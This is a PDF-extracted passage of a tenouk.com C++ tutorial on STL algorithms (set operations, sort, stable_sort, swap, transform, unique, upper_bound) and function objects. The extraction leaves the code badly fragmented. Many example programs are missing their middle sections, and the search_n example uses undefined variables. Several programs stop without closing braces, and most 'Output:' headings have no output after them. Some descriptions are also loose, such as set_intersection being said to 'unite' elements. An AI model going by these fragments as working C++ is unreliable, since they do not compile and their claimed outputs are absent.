vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;
int j;
for(j =-2; j <= 1; j++)
vec1b.push_back(j);
www.tenouk.com Page 25 of 32
cout<<"\nOriginal vector vec2b with range sorted by the\n"
<<"binary predicate greater is: ";
for(Iter2b = vec2b.begin(); Iter2b != vec2b.end(); Iter2b++)
cout<<*Iter2b<<" ";
cout<<endl;
Output
www.tenouk.com Page 26 of 32
set_intersection()
- Unites all of the elements that belong to both sorted source ranges into a single, sorted destination
range, where the ordering criterion may be specified by a binary predicate.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the first of two
_First1 sorted source ranges to be united and sorted into a single range representing the
intersection of the two source ranges.
An input iterator addressing the position one past the last element in the first of
_Last1 two sorted source ranges to be united and sorted into a single range representing
the intersection of the two source ranges.
An input iterator addressing the position of the first element in second of two
_First2 consecutive sorted source ranges to be united and sorted into a single range
representing the intersection of the two source ranges.
An input iterator addressing the position one past the last element in second of
_Last2 two consecutive sorted source ranges to be united and sorted into a single range
representing the intersection of the two source ranges.
_Result An output iterator addressing the position of the first element in the destination
range where the two source ranges are to be united into a single sorted range
www.tenouk.com Page 27 of 32
representing the intersection of the two source ranges.
User-defined predicate function object that defines the sense in which one
element is greater than another. The binary predicate takes two arguments and
_Comp
should return true when the first element is less than the second element and false
otherwise.
Table 36.18
- The return value is an output iterator addressing the position one past the last element in the sorted
destination range representing the intersection of the two source ranges.
- The sorted source ranges referenced must be valid; all pointers must be dereferenceable and within
each sequence the last position must be reachable from the first by incrementation.
- The destination range should not overlap either of the source ranges and should be large enough to
contain the destination range.
- The sorted source ranges must each be arranged as a precondition to the application of the merge
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The operation is stable as the relative order of elements within each range is preserved in the
destination range. The source ranges are not modified by the algorithm.
- The value types of the input iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent (in the sense that neither is less than the
other) or that one is less than the other.
- This results in an ordering between the nonequivalent elements.
- When there are equivalent elements in both source ranges, the elements in the first range precede the
elements from the second source range in the destination range.
- If the source ranges contain duplicates of an element, then the destination range will contain the
maximum number of those elements that occur in both source ranges.
- The complexity of the algorithm is linear with at most 2*((_Last1 – _First1)–(_Last2 –
_First2))–1 comparisons for nonempty source ranges.
//algorithm, set_intersection()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;
//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -2; i <= 2; i++)
vec1a.push_back(i);
int j;
for(j = -4; j <= 0; j++)
vec1b.push_back(j);
www.tenouk.com Page 28 of 32
cout<<endl;
Output:
www.tenouk.com Page 29 of 32
- Program example compiled using g++.
//******algorandshuffle.cpp********
//algorithm, random_shuffle()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
cout<<"The original of vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//random shuffle…
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original of vector vec1 random shuffle data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//Shuffled once
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//Shuffled again
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after another reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}
www.tenouk.com Page 30 of 32
[bodo@bakawali ~]$ g++ algorandshuffle.cpp -o algorandshuffle
[bodo@bakawali ~]$ ./algorandshuffle
//*******algosearchn.cpp*********
//algorithm, search_n()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
if(result1 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1."<<endl;
else
cout<<"\nThere is at least one match of a sequence (5 5 5)"
<<"\nin vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
if(result2 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1"
<<" under the equivalence predicate twice."<<endl;
else
cout<<"\nThere is a match of a sequence (5 5 5) "
<<"under the equivalence\npredicate twice"
<<" in vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
}
www.tenouk.com Page 31 of 32
Vector vec1 data: 0 5 10 15 20 25 5 5 5 0 5 10 15 20 25 5 5 5
www.tenouk.com Page 32 of 32
MODULE 37
--THE STL--
ALGORITHM PART V
Note: Compiled using Microsoft Visual C++ .Net, win32 empty console mode application. g++ compilation
example is given at the end of this Module.
Abilities
set_symmetric_difference()
- Unites all of the elements that belong to one, but not both, of the sorted source ranges into a single,
sorted destination range, where the ordering criterion may be specified by a binary predicate.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the first of two
_First1 sorted source ranges to be united and sorted into a single range representing
the symmetric difference of the two source ranges.
An input iterator addressing the position one past the last element in the first
_Last1 of two sorted source ranges to be united and sorted into a single range
representing the symmetric difference of the two source ranges.
An input iterator addressing the position of the first element in second of two
_First2 consecutive sorted source ranges to be united and sorted into a single range
representing the symmetric difference of the two source ranges.
An input iterator addressing the position one past the last element in second of
_Last2 two consecutive sorted source ranges to be united and sorted into a single
range representing the symmetric difference of the two source ranges.
An output iterator addressing the position of the first element in the
_Result destination range where the two source ranges are to be united into a single
sorted range representing the symmetric difference of the two source ranges.
User-defined predicate function object that defines the sense in which one
element is greater than another. The binary predicate takes two arguments and
_Comp
should return true when the first element is less than the second element and
false otherwise.
Table 37.1
www.tenouk.com Page 1 of 23
- An output iterator addressing the position one past the last element in the sorted destination range
representing the symmetric difference of the two source ranges.
- The sorted source ranges referenced must be valid; all pointers must be de-referenceable and within
each sequence the last position must be reachable from the first by incrementation.
- The destination range should not overlap either of the source ranges and should be large enough to
contain the destination range.
- The sorted source ranges must each be arranged as a precondition to the application of the merge()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The operation is stable as the relative order of elements within each range is preserved in the
destination range. The source ranges are not modified by the algorithm merge.
- The value types of the input iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent, in the sense that neither is less than the
other or that one is less than the other. This results in an ordering between the nonequivalent elements.
- When there are equivalent elements in both source ranges, the elements in the first range precede the
elements from the second source range in the destination range.
- If the source ranges contain duplicates of an element, then the destination range will contain the
absolute value of the number by which the occurrences of those elements in the one of the source
ranges exceeds the occurrences of those elements in the second source range.
- The complexity of the algorithm is linear with at most 2*((_Last1 – _First1)–(_Last2 –
_First2))–1 comparisons for nonempty source ranges.
//algorithm, set_symmetric_difference()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;
int j;
for(j =-3; j <= 3; j++)
vec1b.push_back(j);
www.tenouk.com Page 2 of 23
for(Iter2a = vec2a.begin(); Iter2a != vec2a.end(); Iter2a++)
cout<<*Iter2a<<" ";
cout<<endl;
Output:
www.tenouk.com Page 3 of 23
set_union()
- Unites all of the elements that belong to at least one of two sorted source ranges into a single, sorted
destination range, where the ordering criterion may be specified by a binary predicate.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the first of two
_First1 sorted source ranges to be united and sorted into a single range representing the
union of the two source ranges.
An input iterator addressing the position one past the last element in the first of
_Last1 two sorted source ranges to be united and sorted into a single range representing
the union of the two source ranges.
An input iterator addressing the position of the first element in second of two
_First2 consecutive sorted source ranges to be united and sorted into a single range
representing the union of the two source ranges.
An input iterator addressing the position one past the last element in second of
_Last2 two consecutive sorted source ranges to be united and sorted into a single range
representing the union of the two source ranges.
_Result An output iterator addressing the position of the first element in the destination
range where the two source ranges are to be united into a single sorted range
www.tenouk.com Page 4 of 23
representing the union of the two source ranges.
User-defined predicate function object that defines the sense in which one element
is greater than another. The binary predicate takes two arguments and should
_Comp
return true when the first element is less than the second element and false
otherwise.
Table 37.2
- The return value is an output iterator addressing the position one past the last element in the sorted
destination range representing the union of the two source ranges.
- The sorted source ranges referenced must be valid; all pointers must be de-referenceable and within
each sequence the last position must be reachable from the first by incrementation.
- The destination range should not overlap either of the source ranges and should be large enough to
contain the destination range.
- The sorted source ranges must each be arranged as a precondition to the application of the merge()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The operation is stable as the relative order of elements within each range is preserved in the
destination range. The source ranges are not modified by the algorithm merge().
- The value types of the input iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent (in the sense that neither is less than the
other) or that one is less than the other. This results in an ordering between the nonequivalent
elements.
- When there are equivalent elements in both source ranges, the elements in the first range precede the
elements from the second source range in the destination range. If the source ranges contain duplicates
of an element, then the destination range will contain the maximum number of those elements that
occur in both source ranges.
- The complexity of the algorithm is linear with at most 2*((_Last1 – _First1)–(_Last2 –
_First2))–1 comparisons.
//algorithm, set_union()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector<int> vec1a, vec1b, vec1(12);
vector<int>::iterator Iter1a, Iter1b, Iter1, Result1;
//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -3; i <= 3; i++)
vec1a.push_back(i);
int j;
for(j =-3; j <= 3; j++)
vec1b.push_back(j);
www.tenouk.com Page 5 of 23
cout<<*Iter1b<<" ";
cout<<endl;
Output:
www.tenouk.com Page 6 of 23
sort()
- Arranges the elements in a specified range into a non-descending order or according to an ordering
criterion specified by a binary predicate.
template<class RandomAccessIterator>
void sort(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class Pr>
void sort(
RandomAccessIterator _First,
RandomAccessIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
A random-access iterator addressing the position of the first element in the range to
_First
be sorted.
A random-access iterator addressing the position one past the final element in the
_Last
range to be sorted.
User-defined predicate function object that defines the comparison criterion to be
_Comp satisfied by successive elements in the ordering. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.
Table 37.3
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- Elements are equivalent, but not necessarily equal, if neither is less than the other. The sort()
algorithm is not stable and so does not guarantee that the relative ordering of equivalent elements will
be preserved. The algorithm stable_sort() does preserve this original ordering.
- The average of a sort complexity is O(N log N), where N = _Last – _First.
//algorithm, sort()
#include <vector>
#include <algorithm>
www.tenouk.com Page 7 of 23
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1; //container
vector <int>::iterator Iter1; //iterator
int k;
for(k = 0; k <= 15; k++)
vec1.push_back(k);
random_shuffle(vec1.begin(), vec1.end());
sort(vec1.begin(), vec1.end());
cout<<"\nSorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
Output:
sort_heap()
template<class RandomAccessIterator>
void sort_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class Pr>
void sort_heap(
RandomAccessIterator _First,
www.tenouk.com Page 8 of 23
RandomAccessIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
A random-access iterator addressing the position of the first element in the target
_First
heap.
A random-access iterator addressing the position one past the final element in the
_Last
target heap.
User-defined predicate function object that defines sense in which one element is
_Comp less than another. A binary predicate takes two arguments and returns true when
satisfied and false when not satisfied.
Table 37.4
- After the application if this algorithm, the range it was applied to is no longer a heap.
- This is not a stable sort because the relative order of equivalent elements is not necessarily preserved.
- Heaps are an ideal way to implement priority queues and they are used in the implementation of the
Standard Template Library container adaptor priority_queue Class.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The complexity is at most N log N, where N = (_Last – _First).
//algorithm, sort_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
random_shuffle(vec1.begin(), vec1.end());
www.tenouk.com Page 9 of 23
}
Output:
stable_partition()
- Classifies elements in a range into two disjoint sets, with those elements satisfying a unary predicate
preceding those that fail to satisfy it, preserving the relative order of equivalent elements.
Parameters
Parameter Description
A bidirectional iterator addressing the position of the first element in the
_First
range to be partitioned.
A bidirectional iterator addressing the position one past the final element in
_Last
the range to be partitioned.
User-defined predicate function object that defines the condition to be
_Pred satisfied if an element is to be classified. A predicate takes single argument
and returns true or false.
Table 37.5
- The return value is a bidirectional iterator addressing the position of the first element in the range to not
satisfy the predicate condition.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- Elements a and b are equivalent, but not necessarily equal, if both Pr (a, b) is false and Pr (b, a) if
false, where Pr is the parameter-specified predicate. The stable_ partition() algorithm is
stable and guarantees that the relative ordering of equivalent elements will be preserved.
- The algorithm partition() does not necessarily preserve this original ordering.
//algorithm, stable_partition()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2, result;
int i;
for(i = 0; i <= 10; i++)
www.tenouk.com Page 10 of 23
vec1.push_back(i);
int j;
for(j = 0; j <= 4; j++)
vec1.push_back(3);
random_shuffle(vec1.begin(), vec1.end());
Output:
stable_sort()
- Arranges the elements in a specified range into a non-descending order or according to an ordering
criterion specified by a binary predicate and preserves the relative ordering of equivalent elements.
template<class BidirectionalIterator>
void stable_sort(
BidirectionalIterator _First,
BidirectionalIterator _Last
);
template<class BidirectionalIterator, class BinaryPredicate>
void stable_sort(
BidirectionalIterator _First,
BidirectionalIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
A bidirectional iterator addressing the position of the first element in the range to
_First
be sorted.
A bidirectional iterator addressing the position one past the final element in the
_Last
range to be sorted.
User-defined predicate function object that defines the comparison criterion to be
_Comp satisfied by successive elements in the ordering. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.
Table 37.6
www.tenouk.com Page 11 of 23
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- Elements are equivalent, but not necessarily equal, if neither is less than the other. The sort()
algorithm is stable and guarantees that the relative ordering of equivalent elements will be preserved.
- The run-time complexity of stable_sort() depends on the amount of memory available, but the
best case (given sufficient memory) is O(N log N) and the worst case is O(N(log N)2), where N
= _Last–First. Usually, the sort() algorithm is significantly faster than stable_sort().
//algorithm, stable_sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
random_shuffle(vec1.begin(), vec1.end());
cout<<"Random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
sort(vec1.begin(), vec1.end());
cout<<"\nDefault sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
Output:
swap()
www.tenouk.com Page 12 of 23
- Exchanges the values of the elements between two types of objects, assigning the contents of the first
object to the second object and the contents of the second to the first.
template<class Type>
void swap(
Type& _Left,
Type& _Right
);
Parameters
Parameter Description
_Left The first object to have its elements exchanged.
_Right The second object to have its elements exchanged.
Table 37.7
- This algorithm is exceptional in the STL in being designed to operate on individual elements rather
than on a range of elements.
//algorithm, swap()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2, result;
int i;
for(i = 10; i<= 20; i++)
vec1.push_back(i);
int j;
for(j = 10; j <= 15; j++)
vec2.push_back(j);
swap(vec1, vec2);
Output:
www.tenouk.com Page 13 of 23
swap_ranges()
- Exchanges the elements of one range with the elements of another, equal sized range.
Parameters
Parameter Description
A forward iterator pointing to the first position of the first range whose
_First1
elements are to be exchanged.
A forward iterator pointing to one past the final position of the first range
_Last1
whose elements are to be exchanged.
A forward iterator pointing to the first position of the second range whose
_First2
elements are to be exchanged.
Table 37.8
- The return value is a forward iterator pointing to one past the final position of the second range whose
elements are to be exchanged.
- The ranges referenced must be valid; all pointers must be de-referenceable and within each sequence
the last position is reachable from the first by incrementation. The second range has to be as large as
the first range.
- The complexity is linear with _Last1 – _First1 swaps performed. If elements from containers
of the same type are being swapped, them the swap() member function from that container should be
used, because the member function typically has constant complexity.
//algorithm, swap_ranges()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
deque <int> deq1;
vector <int>::iterator vec1Iter1;
deque<int>::iterator deq1Iter;
int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);
int j;
for(j =24; j <= 29; j++)
deq1.push_back(j);
www.tenouk.com Page 14 of 23
for(vec1Iter1 = vec1.begin(); vec1Iter1 != vec1.end(); vec1Iter1++)
cout<<*vec1Iter1<<" ";
cout<<endl;
Output:
transform()
- Applies a specified function object to each element in a source range or to a pair of elements from two
source ranges and copies the return values of the function object into a destination range.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the first source
_First1
range to be operated on.
An input iterator addressing the position one past the final element in the first
_Last1
source range operated on.
An input iterator addressing the position of the first element in the second
_First2
source range to be operated on.
_Result An output iterator addressing the position of the first element in the
www.tenouk.com Page 15 of 23
destination range.
User-defined unary function object used in the first version of the algorithm
that is applied to each element in the first source range or A user-defined
_Func
binary function object used in the second version of the algorithm that is
applied pairwise, in a forward order, to the two source ranges.
Table 37.9
- The return value is an output iterator addressing the position one past the final element in the
destination range that is receiving the output elements transformed by the function object.
- The ranges referenced must be valid; all pointers must be de-referenceable and within each sequence
the last position must be reachable from the first by incrementation. The destination range must be
large enough to contain the transformed source range.
- If _Result is set equal to _First1 in the first version of the algorithm, then the source and
destination ranges will be the same and the sequence will be modified in place. But the _Result may
not address a position within the range [_First1 +1, _Last1).
- The complexity is linear with at most (_Last1 – _First1) comparisons.
//algorithm, transform()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2(7), vec3(7);
vector <int>::iterator Iter1, Iter2, Iter3;
www.tenouk.com Page 16 of 23
multiplies<int>());
Output:
unique()
- Removes duplicate elements that are adjacent to each other in a specified range.
template<class ForwardIterator>
ForwardIterator unique(
ForwardIterator _First,
ForwardIterator _Last
);
template<class ForwardIterator, class Pr>
ForwardIterator unique(
ForwardIterator _First,
ForwardIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
scanned for duplicate removal.
A forward iterator addressing the position one past the final element in the range to
_Last
be scanned for duplicate removal.
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two arguments
and returns true when satisfied and false when not satisfied.
Table 37.10
- The return value is a forward iterator to the new end of the modified sequence that contains no
consecutive duplicates, addressing the position one past the last element not removed.
- Both forms of the algorithm remove the second duplicate of a consecutive pair of equal elements.
- The operation of the algorithm is stable so that the relative order of the undeleted elements is not
changed.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The number of elements in the sequence is not changed by the algorithm unique() and the elements
beyond the end of the modified sequence are de-referenceable but not specified.
- The complexity is linear, requiring (_Last – _First)–1 comparisons.
- List provides a more efficient member function unique(), which may perform better.
- These algorithms cannot be used on an associative container.
www.tenouk.com Page 17 of 23
//algorithm, unique()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter1, vec1_Iter2, vec1_Iter3,
vec1_NewEnd1, vec1_NewEnd2, vec1_NewEnd3;
int i;
for(i = 0; i <= 3; i++)
{
vec1.push_back(4);
vec1.push_back(-4);
}
int j;
for(j = 1; j <= 4; j++)
vec1.push_back(8);
vec1.push_back(9);
vec1.push_back(9);
Output:
www.tenouk.com Page 18 of 23
unique_copy()
- Copies elements from a source range into a destination range except for the duplicate elements that are
adjacent to each other.
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the source range
_First
to be copied.
A forward iterator addressing the position one past the final element in the source
_Last
range to be copied.
An output iterator addressing the position of the first element in the destination
_Result
range that is receiving the copy with consecutive duplicates removed.
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.
Table 37.11
- The return value is an output iterator addressing the position one past the final element in the
destination range that is receiving the copy with consecutive duplicates removed.
- Both forms of the algorithm remove the second duplicate of a consecutive pair of equal elements.
- The operation of the algorithm is stable so that the relative order of the undeleted elements is not
changed.
- The ranges referenced must be valid; all pointers must be de-referenceable and within a sequence the
last position is reachable from the first by incrementation.
- The complexity is linear, requiring (_Last – _First) comparisons.
//algorithm, unique_copy()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
www.tenouk.com Page 19 of 23
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 == elem2);
};
int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter1, vec1_Iter2,
vec1_NewEnd1, vec1_NewEnd2;
int i;
for(i = 0; i <= 1; i++)
{
vec1.push_back(8);
vec1.push_back(-8);
}
int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);
vec1.push_back(9);
vec1.push_back(9);
int k;
for(k = 0; k <= 5; k++)
vec1.push_back(12);
Output:
upper_bound()
www.tenouk.com Page 20 of 23
- Finds the position of the first element in an ordered range that has a value that is greater than a
specified value, where the ordering criterion may be specified by a binary predicate.
Parameters
Parameter Description
_First The position of the first element in the range to be searched.
_Last The position one past the final element in the range to be searched.
The value in the ordered range that needs to be exceeded by the value of the
_Val
element addressed by the iterator returned.
User-defined predicate function object that defines sense in which one element is
_Comp less than another. A binary predicate takes two arguments and returns true when
satisfied and false when not satisfied.
Table 37.12
- The return value is a forward iterator addressing the position of the first element in an ordered range
that has a value that is greater than a specified value, where the ordering criterion may be specified by a
binary predicate.
- The sorted source range referenced must be valid; all pointers must be de-referenceable and within the
sequence the last position must be reachable from the first by incrementation.
- The sorted range must each be arranged as a precondition to the application of the upper_bound()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The range is not modified by the algorithm merge().
- The value types of the forward iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent (in the sense that neither is less than the
other) or that one is less than the other. This results in an ordering between the nonequivalent elements
- The complexity of the algorithm is logarithmic for random-access iterators and linear otherwise, with
the number of steps proportional to (_Last1 – _First1).
//algorithm, upper_bound()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, Result1;
www.tenouk.com Page 21 of 23
for(int j = -3; j <= 0; j++)
vec1.push_back(j);
sort(vec1.begin(), vec1.end());
cout<<"Original vector vec1 data with range\nsorted by the"
<<" binary predicate less than is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
Output:
//******algosort.cpp*********
//algorithm, sort()
www.tenouk.com Page 22 of 23
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1; //container
vector <int>::iterator Iter1; //iterator
int k;
for(k = 0; k <= 15; k++)
vec1.push_back(k);
random_shuffle(vec1.begin(), vec1.end());
sort(vec1.begin(), vec1.end());
cout<<"\nSorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
www.tenouk.com Page 23 of 23
MODULE 38
--THE STL--
FUNCTION OBJECT & MISC
Note: Compiled using Microsoft Visual C++ .Net, win32 empty console mode application.
Abilities
- Functional arguments for algorithms don't have to be functions. They can be objects that behave as
functions. Such an object is called a function object, or functor.
- Sometimes you can use a function object when an ordinary function won't work. The STL often uses
function objects and provides several function objects that are very helpful.
- Function objects are another example of the generic programming capabilities and the concept of pure
abstraction. You could say that anything that behaves like a function is a function. So, if you define an
object that behaves as a function, it can be used as a function.
- A functional behavior is something that you can call by using parentheses and passing arguments. For
example:
- So, if you want objects to behave this way you have to make it possible to call them by using
parentheses and passing arguments.
- All you have to do is define operator() with the appropriate parameter , for example:
class XYZ
{
public:
//define "function call" operator
return-value operator() (arguments) const;
...
};
- Now you can use objects of this class to behave as a function that you can call:
XYZ foo;
...
//call operator() for function object foo
foo(arg1, arg2);
int main()
{
www.tenouk.com Page 1 of 6
vector<int> vec;
//insert elements from 1 to 10
for(int i=1; i<=10; ++i)
vec.push_back(i);
Output:
- The class PrintSomething() defines objects for which you can call operator() with an int
argument.
- The expression:
PrintSomething()
- In the statement
for_each(vec.begin(), vec.end(),
PrintSomething());
- Creates a temporary object of this class, which is passed to the for_each() algorithm as an
argument. The for_each() algorithm is written like this:
namespace std
{
template <class Iterator, class Operation>
Operation for_each(Iterator act, Iterator end, Operation op)
{
while(act != end)
{ //as long as not reached the end
op(*act); //call op() for actual element
act++; //move iterator to the next element
}
return op;
}
}
- for_each() uses the temporary function object op to call op(*act) for each element act. If the
third parameter is an ordinary function, it simply calls it with *act as an argument.
- If the third parameter is a function object, it calls operator () for the function object op with *act as an
argument. Thus, in this example program for_each() calls:
PrintSomething::operator()(*act)
- Function objects are more than functions, and they have some advantages:
- Objects that behave like pointers are smart pointers. This is similarly true for objects that behave like
functions: They can be smart functions because they may have abilities beyond operator().
Function objects may have other member functions and attributes.
- This means that function objects have a state. In fact, the same function, represented by a function
object, may have different states at the same time. This is not possible for ordinary functions.
- Another advantage of function objects is that you can initialize them at runtime before you call them.
www.tenouk.com Page 2 of 6
- Ordinary functions have different types only when their signatures differ. However, function objects
can have different types even when their signatures are the same.
- In fact, each functional behavior defined by a function object has its own type. This is a significant
improvement for generic programming using templates because you can pass functional behavior as a
template parameter.
- It enables containers of different types to use the same kind of function object as a sorting criterion.
This ensures that you don't assign, combine, or compare collections that have different sorting criteria.
- You can even design hierarchies of function objects so that you can, for example, have different,
special kinds of one general criterion.
- The concept of templates usually allows better optimization because more details are defined at compile
time. Thus, passing function objects instead of ordinary functions often results in better performance.
- For example, suppose you want to add a certain value to all elements of a collection. If you know the
value you want to add at compile time, you could use an ordinary function:
void funct()
{
vector<int> vec;
...
for_each(vec.begin(), vec.end(), //range
add10); //operation
}
- If you need different values that are known at compile time, you could use a template instead:
- If you process the value to add at runtime, things get complicated. You must pass the value to the
function before the function is called.
- This normally results in some global variable that is used both by the function that calls the algorithm
and by the function that is called by the algorithm to add that value. Look like a messy style.
- If you need such a function twice, with two different values to add, and both values are processed at
runtime, you can't achieve this with one ordinary function. You must either pass a tag or you must write
two different functions.
- With function objects, you can write a smarter function that behaves in the desired way because the
object may have a state; it can be initialized by the correct value.
- Here is a full example:
www.tenouk.com Page 3 of 6
//the function call for the element adds the value
void operator() (int& elem) const
{
elem += theValue;
}
};
int main()
{
list<int> lst1;
- Here, the expression AddValue(10) creates an object of type AddValue that is initialized with the
value 10. The constructor of AddValue stores this value as the member theValue.
- Inside for_each(),"()" is called for each element of lst1. Again, this is a call of operator() for
the passed temporary function object of type AddValue. The actual element is passed as an argument.
The function object adds its value 10 to each element. The elements then have the following values:
after adding 10: 11 12 13 14 15 16 17 18 19
- The second call of for_each() uses the same functionality to add the value of the first element to
each element. It initializes a temporary function object of type AddValue with the first element of the
collection:
AddValue (*lst1.begin())
- By using this technique, two different function objects can solve the problem of having a function with
two states at the same time.
- For example, you could simply declare two function objects and use them independently:
- The C++ standard library contains several predefined function objects that cover fundamental
operations. By using them, you don't have to write your own function objects in several cases.
- A typical example is a function object used as a sorting criterion.
- The default sorting criterion for operator< is the predefined sorting criterion less<>. Thus, if you
declare:
set<int> st;
- It is expanded to:
- Similarly, many function objects are provided to specify numeric processing. For example, the
following statement negates all elements of a collection:
www.tenouk.com Page 4 of 6
transform(vec.begin(), vec.end(), //source
vec.begin(), //destination
negate<int>()); //operation
- The expression:
negate<int>()
- Creates a function object of the predefined template class negate that simply returns the negated
element of type int for which it is called.
- The transform() algorithm uses that operation to transform all elements of the first collection into
the second collection. If source and destination are equal (as in this case), the returned negated elements
overwrite themselves. Thus, the statement negates each element in the collection.
- Similarly, you can process the square of all elements in a collection:
- Here, another form of the transform() algorithm combines elements of two collections by using the
specified operation, and writes the resulting elements into the third collection.
- Again, all collections are the same, so each element gets multiplied by itself, and the result overwrites
the old value.
38.6 Miscellaneous
The following items may not be covered in details in this part of tutorial but you may have encountered them
somewhere in the various program examples.
Class pair
Is provided to treat two values as a single unit. It is used in several places within the C++ standard library. In
particular, the container classes’ map and multimap use pairs to manage their elements, which are key/value pairs.
Enables you to create a value pair without writing the types explicitly.
